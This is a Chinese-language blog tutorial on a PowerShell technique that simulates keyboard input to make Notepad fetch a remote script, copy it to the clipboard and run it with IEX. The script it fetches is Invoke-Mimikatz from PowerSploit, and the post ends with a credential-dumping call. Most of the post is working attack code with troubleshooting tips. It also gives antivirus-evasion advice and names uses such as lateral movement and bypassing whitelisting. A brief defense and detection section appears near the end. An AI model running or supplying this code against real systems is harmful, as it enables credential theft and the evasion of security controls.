att&ck奇妙历险记——powershell模拟键盘下载的踩坑过程
字数 1154 2025-08-25 22:58:40
PowerShell模拟键盘下载技术详解
0x00 技术概述
本文详细讲解了一种基于ATT&CK框架T1086技术(PowerShell攻击)的实现方法,通过模拟键盘操作实现文件下载和执行的技术。该技术利用PowerShell的WScript.Shell COM对象和Windows Forms功能来模拟键盘输入,通过记事本程序间接下载并执行远程PowerShell脚本。
0x01 技术原理
核心组件
- WScript.Shell COM对象:用于启动应用程序和发送键盘输入
- System.Windows.Forms:用于屏幕控制和剪贴板操作
- 注册表操作:修改记事本设置以优化窗口位置
- 进程控制:通过PID识别和控制记事本窗口
攻击流程
- 启动记事本程序并获取其进程ID
- 激活记事本窗口并发送Ctrl+O打开文件对话框
- 在文件对话框中输入URL地址
- 复制记事本中加载的远程脚本内容
- 执行复制的PowerShell脚本
0x02 详细代码分析
基础代码结构
$url = 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'
$wshell = New-Object -ComObject WScript.Shell
$reg = 'HKCU:\Software\Microsoft\Notepad'
$app = 'Notepad'
$props = (Get-ItemProperty $reg)
关键步骤解析
- 加载Windows Forms组件
[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
- 调整记事本窗口设置
@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),
@('StatusBar',0)) | ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]}
- 启动记事本并获取窗口标题
$curpid = $wshell.Exec($app).ProcessID
While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){
Start-Sleep -Milliseconds 500
}
- 激活窗口并发送打开文件命令
While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500}
$wshell.SendKeys('^o') # Ctrl+O
Start-Sleep -Milliseconds 1000
- 输入URL并确认
@($url,(' '*1000),'~') | ForEach{$wshell.SendKeys((Variable _).Value)}
- 复制内容到剪贴板
$res = $Null
While($res.Length -lt 2){
[Windows.Forms.Clipboard]::Clear()
@('^a','^c') | ForEach{$wshell.SendKeys((Item Variable:_).Value)} # Ctrl+A, Ctrl+C
Start-Sleep -Milliseconds 500
$res = ([Windows.Forms.Clipboard]::GetText())
}
- 关闭记事本
[Windows.Forms.Clipboard]::Clear()
@('%f','x') | ForEach{$wshell.SendKeys((Variable _).Value)} # Alt+F, X
If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){
@('{TAB}','~') | ForEach{$wshell.SendKeys((Item Variable:_).Value)}
}
- 恢复记事本设置并执行脚本
@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar') | ForEach{
SP $reg (Item Variable:_).Value $props.((Variable _).Value)
}
IEX($res) # 执行下载的脚本
invoke-mimikatz -dumpcr
0x03 常见问题与解决方案
问题1:路径不正确无法访问URL
解决方案:
- 手动在资源管理器地址栏输入URL验证是否可访问
- 在脚本中添加Tab键切换焦点到地址栏:
$wshell.SendKeys('{tab}')
Start-Sleep -Milliseconds 1000
问题2:输入法导致输入中断
解决方案:
- 确保使用英文输入法环境执行脚本
- 在脚本执行前添加输入法切换代码
问题3:不同Windows版本兼容性
解决方案:
- Windows Server 2012可能需要额外调整
- Windows 10环境下可直接使用原脚本
0x04 防御与检测建议
防御措施
- 限制PowerShell执行策略
- 监控WScript.Shell COM对象的使用
- 阻止记事本访问远程URL
检测指标
- 短时间内大量键盘模拟事件
- PowerShell加载System.Windows.Forms
- 记事本进程异常访问网络
0x05 技术扩展
免杀改进
- 使用自定义编码的PowerShell脚本
- 替换mimikatz为其他功能脚本
- 使用不同的应用程序作为载体(如WordPad)
其他应用场景
- 横向移动时绕过某些应用白名单
- 在受限环境下实现文件下载
- 绕过某些基于进程行为的检测机制
0x06 总结
这种通过模拟键盘操作间接下载并执行脚本的技术具有以下特点:
- 绕过某些基于进程行为的检测
- 执行过程可视化,更隐蔽
- 依赖系统自带程序,兼容性较好
- 可通过多种方式改进实现免杀
理解这种技术的实现原理有助于更好地防御类似攻击,同时也展示了PowerShell在系统操作方面的强大能力。